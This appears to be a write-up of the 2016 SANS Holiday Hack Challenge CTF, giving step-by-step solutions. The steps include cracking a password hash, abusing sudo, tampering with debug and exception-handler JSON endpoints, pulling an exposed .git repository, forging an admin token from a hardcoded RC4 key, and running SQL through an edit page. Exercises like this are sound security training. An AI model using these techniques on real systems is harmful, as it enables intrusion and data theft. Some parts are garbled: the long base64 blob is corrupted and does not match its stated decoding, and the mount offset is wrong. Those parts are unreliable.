I: Loading resource table from file: ~/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
```

```
> find . -type f -exec file -b {} \; | cut -d, -f1 | sort | uniq -c | sort -n
    1 Android binary XML
    1 Audio file with ID3 version 2.3.0
    1 data
    1 HTML document
    1 JPEG image data
    3 C source
  261 PNG image data
  263 XML 1.0 document
1769 ASCII text
```

```
> cat res/values/strings.xml | grep http
<string
  name="analytics_launch_url">https://analytics.northpolewonderland.com/report.php?type=laun
ch</string>
```

```

<string
  name="analytics_usage_url">https://analytics.northpolewonderland.com/report.php?type=usage
</string>
<string
  name="banner_ad_url">http://ads.northpolewonderland.com/affiliate/C9E380C8-2244-41E3-93A3-
D6C6700156A5</string>
<string
  name="debug_data_collection_url">http://dev.northpolewonderland.com/index.php</string>
<string name="dungeon_url">http://dungeon.northpolewonderland.com/</string>
<string name="exhandler_url">http://ex.northpolewonderland.com/exception.php</string>

> find . -name "*.mp3" -o -name "*.ogg"
./res/raw/discombobulatedaudio1.mp3

```

--- Part 3 ---

5) What is the password for the "cranpi" account on the Cranberry Pi system?

```

> fdisk -l cranbian-jessie.img
Disk cranbian-jessie.img: 1.3 GiB, 1389363200 bytes, 2713600 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x5a7089a1

Device           Boot   Start     End Sectors  Size Id Type
cranbian-jessie.img1      8192  137215 129024   63M  c W95 FAT32 (LBA)
cranbian-jessie.img2    137216 2713599 2576384  1.2G  83 Linux

> mkdir mnt-cranbian-jessie
> mount -v -o offset=$((512*2713599)) -t ext4 cranbian-jessie.img mnt-cranbian-jessie
> cd mnt-cranbian-jessie
> john -wordlist:../rockyou.txt etc/shadow
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Press 'q' or Ctrl-C to abort, almost any other key for status

yummycookies      (cranpi)
 1g 0:00:18:37 100% 0.000894g/s 406.5p/s 406.5c/s 406.5C/s yves69..yukata
Use the "--show" option to display all of the cracked passwords reliably
Session completed

```

6) How did you open each terminal door and where had the villain imprisoned Santa?

```

TERMINAL: Elf House #2
> sudo -l
sudo: unable to resolve host 6db8d94cfbae
Matching Defaults entries for scratchy on 6db8d94cfbae:
  env_reset, mail_badpass,
  secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User scratchy may run the following commands on 6db8d94cfbae:
  (itchy) NOPASSWD: /usr/sbin/tcpdump
  (itchy) NOPASSWD: /usr/bin/strings

> sudo -u itchy /usr/sbin/tcpdump -X -r /out.pcap | grep -C 3 half | more

 0x0030:  0009 bd42 4745 5420 2f66 6972 7374 6861 ...BGET./firstrha
 0x0040:  6c66 2e68 746d 6c20 4854 5450 2f31 2e31 lf.html.HTTP/1.1
 0x0050:  0d0a 5573 6572 2d41 6765 6e74 3a20 5767 ..User-Agent:.Wg
 0x0060:  6574 2f31 2e31 372e 3120 2864 6172 7769 et/1.17.1.(darwi

> Aha! "firstrhalf.html"
 0x0040:  3e3c 2f68 6561 643e 0a3c 626f 6479 3e0a ></head>.<body>.
 0x0050:  3c66 6f72 6d3e 0a3c 696e 7075 7420 7479 <form>.<input.ty
 0x0060:  7065 3d22 6869 6464 656e 2220 6e61 6d65 pe="hidden".name
 0x0070:  3d22 7061 7274 3122 2076 616c 7565 3d22 ="part1".value="
 0x0080:  7361 6e74 6173 6c69 2220 2f3e 0a3c 2f66 santasli".>.</f

```

```

0x0090: 6f72 6d3e 0a3c 2f62 6f64 793e 0a3c 2f68  orm>.</body>.</h>
>> First part is: santasli .... Guessing "santaslittlehelper" - Dingdingding

> Let's look for "second" in the pcap
> sudo -u itchy /usr/sbin/tcpdump -X -r /out.pcap | grep -C 3 second
0x0030: 0009 bd44 4745 5420 2f73 6563 6f6e 6468 ...DGET./secondh
0x0040: 616c 662e 6269 6e20 4854 5450 2f31 2e31 alf.bin.HTTP/1.1
0x0050: 0d0a 5573 6572 2d41 6765 6e74 3a20 5767 ..User-Agent:.Wg
0x0060: 6574 2f31 2e31 372e 3120 2864 6172 7769 et/1.17.1.(darwi
> Alright, so it's a bin file.

```

```

TERMINAL: Workshop - Train Station
> HELP
>> Starts a 'less' instance showing /home/conductor/TrainHelper.txt
> :e /home/conductor/<tab>
> :e /home/conductor/ActivateTrain
"/home/conductor/ActivateTrain" may be a binary file. See it anyway?" <- Yup.
Bit of plaintext dump:
GET /#####?UID=#####&token=AE4B5D25-A7BA-4129-9AF1-1CF5A3EF9EDC
HTTP/1.1
Host: localhost
QUEST_UID:#####
10.240.0.19

> :e /home/conductor/<tab>
> :e /home/conductor/Train_Console
#!/bin/bash
HOMEDIR="/home/conductor"
CTRL="$HOMEDIR/"
DOC="$HOMEDIR/TrainHelper.txt"
PAGER="less"
BRAKE="on"
PASS="24fb3e89ce2aa0ea422c3d511d40dd84"
print_header() {
    echo ""
    echo "Train Management Console: AUTHORIZED USERS ONLY"
    echo ""
}
print_main_menu() {
    echo ""
    echo "                                ===== MAIN MENU ====="
    echo ""
    echo "STATUS:                      Train Status"
    echo "BRAKEON:                     Set Brakes"
    echo "BRAKEOFF:                    Release Brakes"
    echo "START:                       Start Train"
    echo "HELP:                        Open the help document"
    echo "QUIT:                        Exit console"
    echo ""
    echo -n "menu:main> "
}
# MAIN

> Bingo, a password!
> BRAKEOFF
> START
> Insert password and welcome to 1978.
>> Explore and find a few NetWars coins

```

```

TERMINAL: Workshop (Bottom one)
> ls -al
total 32
drwxr-xr-x 20 elf  elf  4096 Dec  6 19:40 .
drwxr-xr-x 22 root root 4096 Dec  6 19:40 ..
-rw-r--r--  1 elf  elf   220 Nov 12  2014 .bash_logout
-rw-r--r--  1 elf  elf  3924 Dec  6 19:40 .bashrc
drwxr-xr-x 18 root root 4096 Dec  6 19:40 .doormat
-rw-r--r--  1 elf  elf   675 Nov 12  2014 .profile
drwxr-xr-x  2 root root 4096 Dec  6 19:39 temp
drwxr-xr-x  2 root root 4096 Dec  6 19:39 var

```

```
>> A doormat, eh?
> find .doormat/ -type f -name "*" -print0 | xargs -0 echo
.doormat/. / \\\\"/Don't Look Here!/You are persistent, aren't you?/'/key_for_the_door.txt
> cd .doormat./.\ /\ \\\\
> cd \\\\\
> cd Don\\'t\\ Look\\ Here\\!/You\\ are\\ persistent\\,\ aren\\'t\\ you\\?/\\/
> cat key_for_the_door.txt
open_sesame

TERMINAL: Workshop (Top one)
> strings wumpus
> "usage: wump [parameters]"
> So it takes commandline options
> a:b:hp:r:t: -> a:arrows, b:bats, hp:??, r:rooms, t:tunnels

> ./wumpus
>> Passphrase:
>> WUMPUS IS MISUNDERSTOOD

TERMINAL: Santa's Office (https://github.com/abs0/wargames/blob/master/wargames.sh)
> Hello.
> I'm fine. How are you?
> People sometimes make mistakes.
> Love to. How about Global Thermonuclear War?
> Later. Let's play Global Thermonuclear War.

> 2
> Las Vegas

> LOOK AT THE PRETTY LIGHTS

Santa is trapped in DFER in 1978.
```

--- Part 4 ---

7) ONCE YOU GET APPROVAL OF GIVEN IN-SCOPE TARGET IP ADDRESSES FROM TOM HESSMAN AT THE NORTH POLE, ATTEMPT TO REMOTELY EXPLOIT EACH OF THE FOLLOWING TARGETS:

- The Mobile Analytics Server (via credentialed login access) (Done) -
 >> access: https://analytics.northpolewonderland.com/
 >> login using guest/reindeer78
 >> Download mp3

- The Dungeon Game (Done) -
 > Create script:
 #!/usr/bin/env python
 print "GDT"
 for i in range(1, 218):
 print "TK"
 print i
 print "exit"
 print
 > Run script and copy output.

 >> nc dungeon.northpolewonderland.com 11111
 >Copy output from script and then

 >>drop elf
 The elf appears increasingly impatient.
 >>give gold card to elf
 The elf, satisfied with the trade says -
 send email to "peppermint@northpolewonderland.com" for that which you seek.
 The elf says - you have conquered this challenge - the game will now end.

Your score is 15 [total of 585 points], in 2 moves.
This gives you the rank of Beginner.

> Ship off an email and get a reply(Along with discombobulatedaudio3.mp3)
You tracked me down, of that I have no doubt.

I won't get upset, to avoid the inevitable bout.

You have what you came for, attached to this note.

Now go and catch your villian, and we will alike do dote.

- The Debug Server (Done) -

> Sniff traffic from APK and send that to the server.
>> curl -i -H "Content-Type: application/json" -d @debug.json -X POST
"http://dev.northpolewonderland.com/index.php"

```
{"date":"20161228133836","status":"OK","filename":"debug-20161228133836-0.txt","request":{"date":"20161228095114+0100","udid":"fa0eef1fcb9c0c7b","debug":"com.northpolewonderland.santagram.EditProfile","freemem":9223372036854775807,"verbose":false}}%
```

> Okay. "verbose":false Add that to our JSON and set it to true
>> curl -i -H "Content-Type: application/json" -d @debug.json -X POST
"http://dev.northpolewonderland.com/index.php"

```
{"date":"20161228133418","date.len":14,"status":"OK","status.len":2,"filename":"debug-20161228133418-0.txt","filename.len":26,"request":{"date":"20161228095114+0100","udid":"fa0eef1fcb9c0c7b","debug":"com.northpolewonderland.santagram.EditProfile","EditProfile","freemem":9223372036854775807,"verbose":true},"files":[{"debug-20161224235959-0.mp3","debug-20161228132132-0.txt","debug-20161228133354-0.txt","debug-20161228133418-0.txt","index.php"]}}
```

> And there we have the mp3 file. 'debug-20161224235959-0.mp3'

- The Banner Ad Server -

```
HomeQuotes.find().fetch()  
Array [ Object, Object, Object, Object ]  
HomeQuotes.find().fetch()[4]  
Object { _id: "zPR5TpXB5mcAH3pYk", index: 4, quote: "Just Ad It!", hidden: true, audio: "/ofdAR4UYRaeNxMg/discombobulatedaud..." }  
HomeQuotes.find().fetch()[4]["audio"]  
"/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3"
```

- The Uncaught Exception Handler Server (Done) -
> ex.northpolewonderland.com (104.154.196.33)

> access: ex.northpolewonderland.com/exception.php (This was pulled from the SantaGram apk)
>> Output: Request method must be POST

> Alright, let's pull out 'curl' and do a post request.

>> curl -i -X POST 104.154.196.33/exception.php

HTTP/1.1 200 OK

Server: nginx/1.10.2

Date: Mon, 26 Dec 2016 10:29:02 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Content type must be: application/json

> Okay, let's send some JSON then.

>> curl -H "Content-Type: application/json" -d '{}' -X POST 104.154.196.33/exception.php

Fatal error! JSON key 'operation' must be set to WriteCrashDump or ReadCrashDump.

```
>> curl -H "Content-Type: application/json" -d '{"operation":"ReadCrashDump"}' -X POST
104.154.196.33/exception.php
```

Fatal error! JSON key 'data' must be set.

> At this point it's time to make a file for this.

```
>> curl -H "Content-Type: application/json" -d @exception.write.json -X POST
104.154.196.33/exception.php
>> curl -H "Content-Type: application/json" -d @exception.read.json -X POST
104.154.196.33/exception.php
```

```
PD9waHAgCgojIEF1ZGlvIGZpbGUGzNjbSBxEaNjzb21ib2J1bGF0b3IgaW4gd2Vicm9vdDogZGlzY29tYm9idWxhdGVkLWF1ZGlvLTytWH16RTNOOV1xS051Lm1wMwoK1yBdb2R1IGZy20gaHR0cDovL3RoaXnpbnRlcmVzdHntzs5jb20vcvJzW12aW5nLWpz24tcG9zdC1kYXRhLXZpYS1waHAvCimgTWFrZSBzdXJ1IHroYXQgaXQgaXmgYsbQt1NUIHJlcXV1c3QuCmlmKHN0cmNhC2VjbXaoJF9TRVJWRVJbJ1JFUVVFU1RFTUVUSE9EJ10sICdQT1NUJykgIT0gMC17CiAgICBkaWuoI1J1cXV1c3QgbWV0aG9kIG11c3QgYmUgUE9TVFxuIk7Cn0KCSAK1yBNYwt1IHN1cmUgdGhhCB0aGUgY29udGVudCB0eXB1IG9mIHroZSBQ1NUIHJ1cXV1c3QgaGfZ1GJ1Zw4gc2V0IHRv1GFwcGxpY2F0aW9uL2pzb24KJGNvbRlnRueXB1ID0gaXNzZQoJF9T
RVJWRVJb1kNPT1RFT1RFVf1QRSJdKSA/IHryaW0oJF9TRVJWRVJb1kNPT1RFT1RFVf1QRSJdKSA6ICcnOwppZihzdHJjYXN1Y21wKCRjb250ZW50VH1wZSwgJ2FwcGxpY2F0aW9uL2pzb24nKSAhPSAwKxsKICAgiGRpZSgiQ29udGVudCB0eXB1IG11c3QgU61GFwcGxpY2F0aW9uL2pzb25cb1p0wp9CgkIyBhcmfiIHroZSBByXcgUE9TVC4gTmVjZXNzYXJ5IGZvc1BKU090IGluIHBhcnRpY3VsYX1uCiRjb250ZW50ID0gZmlsZV9nZXrFy29udGVudHM0InBocDovL2lucHV0iik7CiRvYmogPSBqc29uX2R1Y29kZsgkY29udGVudCwgDHJ1ZSk7CgkjIElmIGpzb25fZGVjb2R1IGZhaWx1ZCwgDGH1IEpTT04gaXMgaW52YWxpZC4KaWYoIw1zX2FycmF5KCRvYmopKXsKICAgiGRpZSgiUE9TVCbjb250YWlucyBpbnZhbG1kIEpTT04hXG4iKTsKfQoK
IyBQcm9jZXNzIHRoZSBKU090LgppZia0ICEgaXNzZXQoICRvYmpbJ29wZXJhdG1vbiddKSBvciAoCgkkb2JqWydvGvYXXRpb24nXSahPT0g1ldyaXR1Q3Jhc2hEdW1wiBhbmQKCSRvYmpbJ29wZXJhdG1vbiddICE9PSAiUmVhZENyYXNoRHvtccIpKQoJewoJZG11KCJGYXRhbcB1cnJvciEgS1NPT1BrZKgj29wZXJhdG1vbicgbXVzdCBzZQgdG8gV3JpdGVdcmFzaER1bXAgb3IgUmVhZENyYXNoRHvtcc5cb1p0wp9CmlmICggaXNzZXQoJG9ialsnZGFQYsddKSkgewoJaWygKCRvYmpbJ29wZXJhdG1vbiddID09PSAiV3JpdGVdcmFzaER1bXAiKSB7Cgk1JiyBxcm10ZSBhIG51dyBjcmFzaCBkdW1wIHRvIGRpc2sKCQlwcm9jZXNzQ3Jhc2hEdW1wKCRvYmpbJ2RhdGEhXsk7Cg19CgllbHN1aWYgKCRvYmpbJ29wZXJhdG1vbiddID09PSAiUmVhZENyYXNoRHvtccIpIHsKCQk1JF1YwQgYSBjcmFzaCBkdW1wIGjhY2sgZnJvbSBkaXNrCgkJcmVhZENyYXNoZHVtccgkb2JqWydkYXRhj10pOwoJfPq9CmVsc2UgewoJiBkYXRh1Gt1eSB1bnN1dAoJZG11KCJGYXRhbcB1cnJvciEgS1NPT1BrZKgj2RhdGEhIG11c3QgYmUgC2V0L1xuIk7Cn0KznVuY3RpB24gcHjY2Vzc0NyYXNoZHVtccgkY3Jhc2hkdW1wKSB7CgkkYmFzZXBhdGggPSAiL3Zhci93d3cvaHrtbC9kb2NzLy17Cgk1b3V0cHV0ZmlsZW5hbWgPSB0Zw1wbmFtKCRiYXN1cGF0aCwgImNyYXNoZHVtcc0iKtsKCXvubGluaygkb3V0cHV0ZmlsZW5hbWUpOwoJcGkkb3V0cHV0ZmlsZW5hbWUgPSAkb3V0cHV0ZmlsZW5hbWUgLiAiLnBocC17CgkkYmFzZw5hbWUgPSBiYXN1bmFtZsgkb3V0cHV0ZmlsZW5hbWUpOwoJcGkkY3Jhc2hkdW1wX2VuY29kZWQgPSAiPD9waHAgcHjpbnQoJyIgLiBqC29uX2VuY29kZsgkY3Jhc2hkdW1wLCBKU090X1BSRVRUWV9Qk1OVCkgLiAiJyK7IjsKCWZpbGvfCHV0X2NvbnRlnRzKCRvdXrwDXRmaWxlbmFtZSwgJGnyYXNoZHVtccF9lbnNvZGVkKTsKCQkJCglwcm1ludCA8PDxFTkQKewJinN1Y2N1c3Mi1DoggHJ1ZSwKCSJmb2xkZxi1DoggImRvY3MiLAoJImNyYXNoZHVtccIgOiaiJGJh2VuYw11Igp9CgpFTkQ7Cn0KznVuY3RpB24gcVmVhZENyYXNoZHVtccgkcmVxdWVzdgVQkQ3Jhc2hkdW1wKSB7CgkkYmFzZXBhdGggPSAiL3Zhci93d3cvaHrtbC9kb2NzLy17Cg1jaGRpcigkYmFzZXBhdGgpOwkJcgkKcw1mCggISBpc3N1dCgkcmVxdWVzdgVQkQ3Jhc2hkdW1wWydjcmFzaGR1bXAnXskp1IhsKCQ1kaWuoI1kZhdGfsIGVycm9yISBU090IGtleSanY3Jhc2hkdW1wJyBtdXN0IGJ1IHN1dC5cb1p0woJfQoKCWlmiCggc3Vic3RyKHN0cnJjaHioJHJ1cXV1c3R1ZENyYXNoZHVtccsnY3Jhc2hkdW1wJ10sIC1i1ks1DepID09PSAiCghwiap1IhsKCQ1kaWuoI1kZhdGfsIGVycm9yISBjcmFzaGR1bXAgdmFsdwUgZHvWbGljYXR1IccucGhwJyBleHrlbnNpb24gZGV0ZWN0ZWQuXG4iKTSKCX0KCWVsc2UgewoJcXJ1cXVpcmUoJHJ1cXV1c3R1ZENyYXNoZHVtccsnY3Jhc2hkdW1wJ10gLiAnLnBocCcpOwoJfQkKfQoKPz4K
```

> Decode base64 and we have:

```
# Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3
```

```
- The Mobile Analytics Server (post authentication) (Done) -
> Discover analytics.northpolewonderland.com/.git
>> wget -r --no-parent https://analytics.northpolewonderland.com/.git/
>> git log
>> git revert 16ae0cbe2630a87c0470b9a864bf048e813826db
```

> Time to look at code.

```
<?php
define('KEY', "\x61\x17\x44\x95\xbf\x3d\xd7\xcd\x2e\x0d\x8b\xcb\x9f\x79\xe1\xdc");

function encrypt($data) {
    return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');
}

$auth = bin2hex(encrypt(json_encode([
    'username' => "administrator",
    'date' => "2016-12-26T19:01:59+0000",
])));
```

```

echo $auth;
?>
82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4384f6e7bca04d86e573b965cc9c65
49b849486263a40a63b71976884152

> And with that token we have admin access.

> Next up visit
>>
https://analytics.northpolewonderland.com/edit.php?id=eccbc8b-3696-4321-bcc3-875c6d4c4992&query=SELECT%20\*,%20TO\_BASE64\(mp3\)%20FROM%20audio

> and then
>> https://analytics.northpolewonderland.com/view.php?id=eccbc8b-3696-4321-bcc3-875c6d4c4992

> And you can extract both sound files from this website as base64.

```

8) What are the names of the audio files you discovered from each system above? There are a total of SEVEN audio files (one from the original APK in Question 4, plus one for each of the six items in the bullet list above.)

```

discombobulatedaudio1.mp3
discombobulatedaudio2.mp3
discombobulatedaudio3.mp3
debug-20161224235959-0.mp3
discombobulatedaudio5.mp3
discombobulated-audio-6-XyzE3N9YqKNH.mp3
discombobulatedaudio7.mp3

```

```

> Combine files, play at 8 times speed:
>> Father Christmas, Santa Claus. Or, as I've always known him, Jeff.

```

--- Part 5 ---

9) Who is the villain behind the nefarious plot.

Dr. Who - The question of the hour is this: Who nabbed Santa.

Dr. Who - The answer? Yes, I did.

10) Why had the villain abducted Santa?

Dr. Who - Next question: Why would anyone in his right mind kidnap Santa Claus?

Dr. Who - The answer: Do I look like I'm in my right mind? I'm a madman with a box.

Dr. Who - I have looked into the time vortex and I have seen a universe in which the Star Wars Holiday Special was NEVER released. In that universe, 1978 came and went as normal. No one had to endure the misery of watching that abominable blight. People were happy there. It's a better life, I tell you, a better world than the scarred one we endure here.

Dr. Who - Give me a world like that. Just once.

Dr. Who - So I did what I had to do. I knew that Santa's powerful North Pole Wonderland Magick could prevent the Star Wars Special from being released, if I could leverage that magick with my own abilities back in 1978. But Jeff refused to come with me, insisting on the mad idea that it is better to maintain the integrity of the universe's timeline. So I had no choice - I had to kidnap him.

Dr. Who - It was sort of one of those days.

Dr. Who - Well. You know what I mean.

Dr. Who - Anyway... Since you interfered with my plan, we'll have to live with the Star Wars Holiday Special in this universe... FOREVER. If we attempt to go back again, to cross our own timeline, we'll cause a temporal paradox, a wound in time.

Dr. Who - We'll never be rid of it now. The Star Wars Holiday Special will plague this world until time itself ends... All because you foiled my brilliant plan. Nice work.

--- Net Wars coins ---

- Elf House #1 -> Secret Fireplace Room
- Elf House #2 -> shelf on the right side
- Elf house #2 -> Right side of couch
- Elf House #2 -> Room 2 -> Along the south wall
- On the right side of the netwars tree house roof
- Outside on the right side of the house below oracle tree
- Workshop - Santa's Office - The Corridor -> Crates to the left
- Workshop - DFER -> On the right edge. (WUMPUS door)

```
- 1978 The Big Tree -> Next to the bed
- 1978 NetWars Experience Treehouse -> Behind the space invaders board
- 1978 Workshop - Train Station -> Near the edge of the tiles
- 1978 Behind Holly Evergreen
- 1978 Santa's Office -> In the hand of the armor stand
- 1978 Behind the roof of the lower house left of "Days since the last ..."
- 1978 - Workshop - behind crates
```

--- In scope IPs ---

```
130.211.124.143 - File download only

104.198.252.157 - analytics.northpolewonderland.com
35.184.63.245 - dev.northpolewonderland.com
104.154.196.33 - ex.northpolewonderland.com
35.184.47.139 - dungeon.northpolewonderland.com
104.198.221.240 - ads.northpolewonderland.com
```

--- urls ---**Links:**

```
https://wiki.skullsecurity.org/index.php?title=Passwords
https://pen-testing.sans.org/blog/2016/12/07/mount-a-raspberry-pi-file-system-image
https://pen-testing.sans.org/blog/2016/12/07/getting-moar-value-out-of-php-local-file-includes-vulnerabilities
https://ibotpeaches.github.io/Apktool/
https://www.youtube.com/watch?v=mo2yZVRicW0
https://www.meteor.com/
https://pen-testing.sans.org/blog/2016/12/06/mining-meteor
https://github.com/nidem/MeteorMiner
https://tampermonkey.net/
http://www.northpolewonderland.com/dungeon.zip
http://www.willhackforsushi.com/presentations/gitd-hackfest.pptx
https://www.northpolewonderland.com/cranbian.img.zip
```